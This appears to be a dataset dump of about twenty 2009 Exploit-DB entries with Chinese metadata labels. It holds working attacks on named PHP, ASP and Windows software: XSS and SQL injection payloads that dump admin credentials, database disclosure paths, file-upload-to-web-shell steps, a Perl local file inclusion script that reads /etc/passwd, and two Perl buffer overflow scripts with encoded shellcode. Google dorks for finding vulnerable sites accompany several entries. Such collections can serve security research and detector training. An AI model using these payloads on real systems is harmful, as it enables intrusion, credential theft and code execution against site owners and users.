QLWD/code_shield huggingface dataset:
标题: Winn Guestbook 2.4 / Winn.ws - Cross-Site Scripting EDB-ID: 10653 CVE: 2009-4678 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-25 漏洞利用脚本: ========================================================================================                  
| # Title    : © Winn Guestbook V2.4, Winn.ws Cross Site Scripting Vulnerability       |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria -(00213771818860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   :  © Winn Guestbook V2.4, Winn.ws                                         |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : XSS                                                                     | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://127.0.0.1/Winn-Guestbook[php]/index.php/>"><ScRiPt>alert(213771818860)</ScRiPt>
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
------------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/10653
标题: Snitz Forums 2000 - Database Disclosure EDB-ID: 10639 CVE: 2008-0135 类型: WEBAPPS 平台: ASP 发布日期: 2009-12-24 漏洞利用脚本: ==============================================================================
                      _      _       _          _      _   _
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|


==============================================================================
        [»] ~ Note : if the path of  "snitz_forums_2000.mdb" has been changed this exploit will not work
==============================================================================
        [»] Snitz Forums 2000 Remote Database Disclosure Vulnerability
==============================================================================

    [»] Script:             [ Snitz Forums ]
    [»] Language:           [ ASP ]
    [»] Site page:          [ Snitz Forums 2000 - free ASP-based Internet Discussion Forum Software ]
    [»] Download:           [ http://forum.snitz.com/specs.asp ]
    [»] Founder:            [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
    [»] Greetz to:          [ HackTeach Team , Egyptian Hackers , All My Friends & pentestlabs.com , Sec-r1z.com  ]
    [»] My Home:            [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################

===[ Exploit ]===

    [»] http://[target].com/[path]/snitz_forums_2000.mdb

Author: ViRuSMaN <-

########################################################################### URL: https://www.exploit-db.com/exploits/10639
标题: Jax Guestbook 3.50 - Admin Login EDB-ID: 10626 CVE: 2009-4447 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-24 漏洞利用脚本: # Exploit Title: Jax Guestbook 3.50 Admin Login Exploit
# Date: December 23rd, 2009
# Author: Sora
# Software Link: http://script.wareseeker.com/ASP-NET/jax-guestbook-3.50.zip/32956d53cf
# Version: 3.50
# Tested on: Windows and Linux

-------------------------------------------
>> Jax Guestbook 3.50 Admin Login Exploit
>> Description: Jax Guestbook 3.50 suffers a bug that will allow you to log in as the admin.
>> Found by: Sora
>> Contact: vhr95zw [at] hotmail.com
>> Google Dork: "inurl:guestbook.admin.php?action=settings"

We can access the admin directory of Jax Guestbook 3.50 to edit the admin settings.

# Code: http://www.site.com/admin/gaestebuch/admin/guestbook.admin.php?action=settings&guestbook_id=0&language=english&gmt_ofs=0 <German>
http://www.site.com/admin/guestbook/admin/guestbook.admin.php?action=settings&guestbook_id=0&language=english&gmt_ofs=0 <English>

# Greetz: Bw0mp, Popc0rn, Xermes, T3eS, Timeb0mb, [H]aruhiSuzumiya, and Revelation! URL: https://www.exploit-db.com/exploits/10626
标题: Web Wiz NewsPad - Database Disclosure EDB-ID: 10637 CVE: 2009-5019 类型: WEBAPPS 平台: ASP 发布日期: 2009-12-24 漏洞利用脚本: ==============================================================================
                      _      _       _          _      _   _
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|


==============================================================================
        [»] ~ Note : Some sites may change the path of the "database/NewsPad.mdb" cause the vulnerability not work
==============================================================================
        [»] Web Wiz NewsPad Remote Database Disclosure Vulnerability
==============================================================================

    [»] Script:             [ Web Wiz NewsPad ]
    [»] Language:           [ ASP ]
    [»] Site page:          [ Web Wiz NewsPad - Free eNewsletter Software Download ]
    [»] Download:           [ http://www.webwizguide.com/webwiznewspad/downloads.asp ]
    [»] Founder:            [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
    [»] Greetz to:          [ HackTeach Team , Egyptian Hackers , All My Friends & pentestlabs.com , Sec-r1z.com  ]
    [»] My Home:            [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################

===[ Exploit ]===

    [»] http://[target].com/[path]/database/NewsPad.mdb

Author: ViRuSMaN <-

########################################################################### URL: https://www.exploit-db.com/exploits/10637
标题: Easy RM to MP3 27.3.700 (Windows XP SP3) - Local Overflow EDB-ID: 10602 CVE: 2009-1330 类型: LOCAL 平台: WINDOWS 发布日期: 2009-12-22 漏洞利用脚本: #
# Exploit for Easy RM to MP3 27.3.700 on  Windows Xp sp3
# By d3b4g
# tested on Windows XP SP3 
# version:27.3.700
# Date:22.12.09
# From tiny islands of maldivies
#
my $file= "d3b4g.m3u";

my $junk= "A" x 26071;
my $eip = pack('V',0x7C836A08);  #jmp esp from  kernel32.dll
my $shellcode = "\x90" x 30;

# windows/exec - 144 bytes
#  Thanks to http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";


open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n"; URL: https://www.exploit-db.com/exploits/10602
标题: Mini File Host 1.5 - Arbitrary File Upload EDB-ID: 10601 CVE: 2008-6785 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-22 漏洞利用脚本: =====================================================================

=========
                      _      _       _          _      _   _
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|


=====================================================================

=========
        [»] ~ Note : This vulnerability allows you to upload if the "storage" file isn't protected with a htaccess file or

anything else
=====================================================================

=========
        [»] Mini File Host v1.5 Remote File Upload Vulnerability
=====================================================================

=========

    [»] Script:             [ Mini File Host ]
    [»] Language:           [ PHP ]
    [»] Site page:          [ Mini File Host v1.5 ]
    [»] Download:           [ http://www.hotscripts.com/listing/mini-file-host/ ]
    [»] Founder:            [ Mr.Z <tzar.evil@yahoo.com> ]
    [»] Greetz to:          [ all muslims , ViRuSMaN  ]

###########################################################################

===[ Exploit ]===

  Click on "Browse" and select your php shell
  Click Upload
  After it finishs , you will see this meassage (

  Your file was uploaded!

  Your download link

  http://server/script/download.php?file=328shell.php

  )

  Copy the new Name of the shell "328shell.php"

  Now Go to this Url

  http://server/script/storage/328shell.php

  if "Storage" wasn't protected your shell will open


Author: Mr.Z <-

########################################################################### URL: https://www.exploit-db.com/exploits/10601
标题: PHP-Nuke Module Emporium 2.3.0 - 'id_catg' SQL Injection EDB-ID: 10615 CVE: 2007-1034 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-23 漏洞利用脚本: ||| PHP-Nuke Module Emporium 2.3.0 (id_catg) SQL Injection Vulnerability
||   Author: Hussin X
||   Home :  WwW.IQ-TY.CoM<http://WwW.IQ-TY.CoM>
||   email:  darkangel_g85[at]Yahoo[DoT]com
||| DorK   : inurl:modules.php?name=Shopping_Cart
||| more
 Module's Name: Emporium
 Module's Version: 2.3.0
 Module's Description: eCommerce for PHP-Nuke.
 License: Burnwave Emporium License
 Author's Name: Michael Squires
 Module's Download  http://www.burnwave.com/


 Exploit
________

http://server/modules.php?name=Shopping_Cart&file=category&category_id=4+uNioN+sElEcT+'IQ-SecuritY',aid,pwd+from+nuke_authors--




end.

IQ-SecuritY FoRuM URL: https://www.exploit-db.com/exploits/10615
标题: weenCompany - SQL Injection EDB-ID: 10606 CVE: 2009-4423 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-22 漏洞利用脚本: #############################################################
# weenCompany SQL Injection Vulnerability

# Vendor: http://www.weentech.com/

# Author: Gamoscu

# Site: www.1923turk.biz

#  Site: http://gamoscu.wordpress.com/
  
##############################################################

# Dork:"Created by weenCompany"

 
# Exploit: http://server/index.php?moduleid=m2_news[SQL-inj]&articleid=1
    
 
##############################################################
# Greetz: Manas58 Baybora Delibey Tiamo Psiko
##############################################################


Vatan Lafla Deðil Eylemle Sevilir

Kiskananlar catlasin Zorunuza Gitmesin URL: https://www.exploit-db.com/exploits/10606
标题: Simple PHP Blog 0.5.1 - Local File Inclusion EDB-ID: 10604 CVE: 2009-4421 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-22 漏洞利用脚本: # Simple PHP Blog is prone to a local file-include vulnerability because it fails to properly
# sanitize user-supplied input.

#An attacker can exploit this vulnerability to obtain potentially sensitive information or to #execute arbitrary local scripts in the context of the webserver process. This may allow the #attacker to compromise the application and the underlying computer; other attacks are also #possible.

# Simple PHP Blog 0.5.1 is vulnerable; other versions may also be affected. 

#!/usr/bin/perl
# Local File Include Exploit
# Simple PHP Blog <= 0.5.1
# jgaliana <at> isecauditors=dot=com
# Internet Security Auditors

use LWP::UserAgent;

if ($#ARGV < 3) { die("Usage: $0 <site> <path> <file> <cookie>"); }
$ua = LWP::UserAgent->new;
$ua->agent("Simple PHP Blog Exploit ^_^");
$ua->default_header('Cookie' => "sid=$ARGV[3]");
my $req = new HTTP::Request POST =>
"http://$ARGV[0]$ARGV[1]/languages_cgi.php";
$req->content_type('application/x-www-form-urlencoded');
$req->content("blog_language1=../../../../..$ARGV[2]%00");
my $res = $ua->request($req);

if ($res->is_success) {
    print $res->content;
} else {
    print "Error: " .$res->status_line, "\n";
}

#$ perl simple.pl example.com /blog /etc/passwd <my_cookie_here>|head -1
#root:*:0:0:root:/root:/bin/bash URL: https://www.exploit-db.com/exploits/10604
标题: The Uploader 2.0 - File Disclosure EDB-ID: 10599 CVE: 2009-4816 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-22 漏洞利用脚本: # Title: The Uploader 2.0 Remote File disclosure Vulnerability
# Author: Stack

http://server/the_uploader/api/download_checker.php?filename=../config.inc.php

next open the config.inc.php file and you got the MySQL configuration ( user & password ) :d

//MySQL configuration and connection functions
$main['host']="127.0.0.1";
$main['user']="root";
$main['pass']="jH445Ui";
$main['dbnm']="jkL_database"; URL: https://www.exploit-db.com/exploits/10599
标题: DeluxeBB 1.3 - Multiple Vulnerabilities EDB-ID: 10598 CVE: 2009-4468 2009-4467 2009-4466 2009-4465 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-22 漏洞利用脚本: # Author: cp77fk4r | Empty0pagE[Shift+2]gmail.com<http://gmail.com>
# Vendor: http://www.deluxebb.com
#
#[Directory Listing]
http://server/templates/
http://server/images/
http://server/logs/
http://server/wysiwyg/
http://server/docs/
http://server/classes
http://server/lang
http://server/settings/
#
#
#[Cross Site Scripting]
http://server/misc.php?sub=memberlist&page=-111111111111111111%3Cscript%3Ealert(1)%3C/script%3E
#
#
#[Unprotected Admin Panel Files]
http://server/templates/deluxe/admincp/
http://server/templates/corporate/admincp/
http://server/templates/blue/admincp/
#
#
#[Unprotected Log Files]
http://server/logs/cp.php
#
#
#[Mail Registration Validation Bypass]
After the user registration procedure, Simply enter to the link:
http://server/misc.php?sub=valemail&valmem=[USER_ID]&valnum=cp77fk4r
you can get your [USER_ID] on the last page of Member-List section:
http://server/misc.php?sub=memberlist&page=[LAST_PAGE]
#
#
#
#[Full Path Disclosure]
http://server/misc.php?sub=memberlist&page=-11111111111111111
-you'll get an error like:
Fatal error: Maximum execution time of 30 seconds exceeded in [FULL_PATH]/tools.php on line [..]

or:
http://server/misc.php?sub=memberlist&page=-1.11111111111111E+FF
-you'll get an error like:
Fatal error: Allowed memory size of 68157440 bytes exhausted (tried to allocate 66584545 bytes) in [FULL_PATH]/tools.php on line [..]
#
#
#[E0F] URL: https://www.exploit-db.com/exploits/10598
标题: PHPhotoalbum 0.5 - SQL Injection EDB-ID: 10590 CVE: 2008-2501 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-21 漏洞利用脚本: # Title: PHPhotoalbum Remote sql injection Vulnerability
# Tested on: windows

http://server/PHPhotoalbum/thumbnails.php?album=-1+union+select+user+from+mysql.user--



http://server/PHPhotoalbum/thumbnails.php?album=-1+union+select+load_file(/directory hex/config.inc.php)+from+mysql.user-- URL: https://www.exploit-db.com/exploits/10590
标题: Joomla! Component com_jcalpro 1.5.3.6 - Remote File Inclusion EDB-ID: 10587 CVE: 2009-4431 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-13 漏洞利用脚本: #############################################################################################################
##
## Author : kaMtiEz kamzcrew@yahoo.com)           ##
## ##Homepage:http://www.indonesiancoder.com                        ##
#############################################################################################################

[ Software Information ]

[+] Vendor : http://www.anything-digital.com
[+] version : 1.5.3.6 Stable or upper / lower maybe also affected
[+] Dork : inurl:"com_jcalpro"
#############################################################################################################

[ Vulnerable File ]

http://server/components/com_jcalpro/cal_popup.php?mosConfig_absolute_path=[INDONESIANCODER]

[ BUG ]

cal_popup.php

[ FIX ]

tanya aurakasih mungkin dia tauh :">


#############################################################################################################

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry ..
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk

[ NOTE ] 

[+] Babe enyak adek i love u pull dah .. 
[+] Setelah Bertapa kagak jelas ampe pagi sama Om Don Tukuesto ... dan lagi lagi akhirnya nemu lobang :D
[+] iseng2 berhadiah bugs .. omegod >.<
[+] capek juga dari surabaya .. fyuh .,. 
[ QUOTE ]

[+] one day .. u will be mind .. >.<
[+] AURAKASIH u are so  .. hha URL: https://www.exploit-db.com/exploits/10587
标题: CoolPlayer 2.18 - M3U Playlist Buffer Overflow EDB-ID: 10595 CVE: 2008-3408 类型: LOCAL 平台: WINDOWS 发布日期: 2009-12-22 漏洞利用脚本: #!/usr/bin/perl
# Versions affected:        2.18
# Tested on:                Windows XP Pro SP2
# Author:                   data$hack
# Usage: expl.pl


my $file= "exs3.m3u";

my $junk= "A" x 223;
my $eip = pack('V',0x7C836940);  #jmp esp from kernel

my $shellcode = "\x90" x 10;

$shellcode = $shellcode . "\x33\xc9\xb8\xa2\xe0\xe4\x44\xb1\x33\xda\xdf\xd9\x74\x24" .
"\xf4\x5b\x31\x43\x0e\x03\x43\x0e\x83\x49\x1c\x06\xb1\x71" .
"\x35\x4e\x3a\x89\xc6\x31\xb2\x6c\xf7\x63\xa0\xe5\xaa\xb3" .
"\xa2\xab\x46\x3f\xe6\x5f\xdc\x4d\x2f\x50\x55\xfb\x09\x5f" .
"\x66\xcd\x95\x33\xa4\x4f\x6a\x49\xf9\xaf\x53\x82\x0c\xb1" .
"\x94\xfe\xff\xe3\x4d\x75\xad\x13\xf9\xcb\x6e\x15\x2d\x40" .
"\xce\x6d\x48\x96\xbb\xc7\x53\xc6\x14\x53\x1b\xfe\x1f\x3b" .
"\xbc\xff\xcc\x5f\x80\xb6\x79\xab\x72\x49\xa8\xe5\x7b\x78" .
"\x94\xaa\x45\xb5\x19\xb2\x82\x71\xc2\xc1\xf8\x82\x7f\xd2" .
"\x3a\xf9\x5b\x57\xdf\x59\x2f\xcf\x3b\x58\xfc\x96\xc8\x56" .
"\x49\xdc\x97\x7a\x4c\x31\xac\x86\xc5\xb4\x63\x0f\x9d\x92" .
"\xa7\x54\x45\xba\xfe\x30\x28\xc3\xe1\x9c\x95\x61\x69\x0e" .
"\xc1\x10\x30\x44\x14\x90\x4e\x21\x16\xaa\x50\x01\x7f\x9b" .
"\xdb\xce\xf8\x24\x0e\xab\xe7\xc6\x9b\xc1\x8f\x5e\x4e\x68" .
"\xd2\x60\xa4\xae\xeb\xe2\x4d\x4e\x08\xfa\x27\x4b\x54\xbc" .
"\xd4\x21\xc5\x29\xdb\x96\xe6\x7b\xb8\x79\x75\xe7\x11\x1c" .
"\xfd\x82\x6d";


open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n"; URL: https://www.exploit-db.com/exploits/10595
标题: Active PHP BookMarks 1.3 - SQL Injection EDB-ID: 10597 CVE: 2008-3748 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-22 漏洞利用脚本: # Title: Active PHP Bookmarks v1.3 Remote SQL Injection Vulnerability
# EDB-ID: ()
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Mr.Elgaarh
# Published: 2009-12-21
=============================================================
~ Author : Mr.Elgaarh
~ Email : scan_cmpu@yahoo.com
~ Home : http://securityreason.com/
=============================================================

Dork : "Powered by Active PHP Bookmarks v1.3" inurl:.view_group.php?id=

./Exploit:

first search for the admin username :
ex : http://server/path/view_group.php?id=-4

ex : http://[Target.com]/path/view_group.php?id=-4+union+select+0,1,concat(username,0x3a,password),3,4,5,6,7+from+apb_users--

admin panel path : http://server/path/cookie_auth.php?action=cookie_login

---------------------------------------------------------------------------------------------------------------------------
Greets : Mado - Dr.Hacker - Mr.Max - broken proxy - Offensive Security  - AG-Spider - ISlamic Defenders Crew - <http://www.offensive-security.com> URL: https://www.exploit-db.com/exploits/10597
标题: VideoCMS 3.1 - SQL Injection EDB-ID: 10586 CVE: 2009-4432 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-21 漏洞利用脚本: ###################################################################################
                                                                                  #
[~] VideoCMS SQL injection vulnerability - (id)                                   #
[~] Author : kaMtiEz (kamzcrew@gmail.com)                                    #
[~] Homepage : http://www.indonesiancoder.com                                  #
[~] Date : Desember 14, 2009                                               #
                                                                                  #
###################################################################################

[ Software Information ]

[+] Vendor : http://www.codemight.com/
[+] version : 3.1 or lower maybe also affected
[+] Vulnerability : SQL injection
[+] Dork : "Think iT"
[+] Location : INDONESIA - JOGJA

##################################################################################


[ HERE WE GO .. LIVE FROM JOGJA CITY ]

[ Vulnerable File ]

http://server/[kaMtiEz]/index.php?m=video&v=[VALID-ID][SQL]

[ Exploit ]

/**/and/**/1=2/**/union/**/all/**/select/**/666,666,@@version,concat_ws(0x3a,username,password),666,666,666/**/from/**/users--


===========================================================================

[ Thx TO ]
[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink
[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry ..
[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk

[ NOTE ] 

[+] Nyak ama babe gua .. tak lupa adik gua ..
[+] segelas vodka menemaniku setiap malam .. :P
[+] Dengerin Radio yach di http://antisecradio.fm ok coy ?

[ QUOTE ]

[+] rm -rf 

[ EOF ]

[+] INDONESIANOCODER TEAM
[+] KILL -9 TEAM URL: https://www.exploit-db.com/exploits/10586
标题: PHPhotoalbum - Arbitrary File Upload EDB-ID: 10584 CVE: 2009-4819 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-21 漏洞利用脚本: ||          ||   | ||
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_,
                  ( :   /    (_)    /           (   .
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> team wlhaan hacker                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
==========================================================================

~ Script Name : PHPhotoalbum)
~ Language : php
~
~ email: iit@hotmail.com
~
============================================================

Dork : Powered By PHPhotoalbum

or
inurl:"PHPhotoalbum-upload.php"



============================================================
Exploit :



http://{server/script path/upload.php

chang shell

shell.php.pgif
or
shell.php.pjpeg

go to shell

http://server/script path/albums/userpics/shell.php.pgif

============================================================

thank you for

shooq hacker
============================================================

www.sa-hacker.com/vb
============================================================ URL: https://www.exploit-db.com/exploits/10584
标题: phUploader 2 - Arbitrary File Upload EDB-ID: 10574 CVE: 2007-4527 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-20 漏洞利用脚本: # Exploit Title: phUploader Remote File Upload Vulnerability
# Date: 20-12-2009
# Author: wlhaan-hacker
#
# Version: v2
# CVE : [N/A]

==========================================================================

~ Script Name : phUploader)
~ Language : php
~
~ email: iit@hotmail.com
~
============================================================

Dork : Powered By phUploader



============================================================
Exploit :



http://{target}/script path/upload.php

chang shell

shell.php.flac

go to shell

http://{target}/script path/uploads/shell.php.flac

Exploit viduo
Download:
http://filaty.com/f/912/99431/up5.rar.html
============================================================

thank you for

shooq hacker
============================================================

www.sa-hacker.com/vb
============================================================ URL: https://www.exploit-db.com/exploits/10574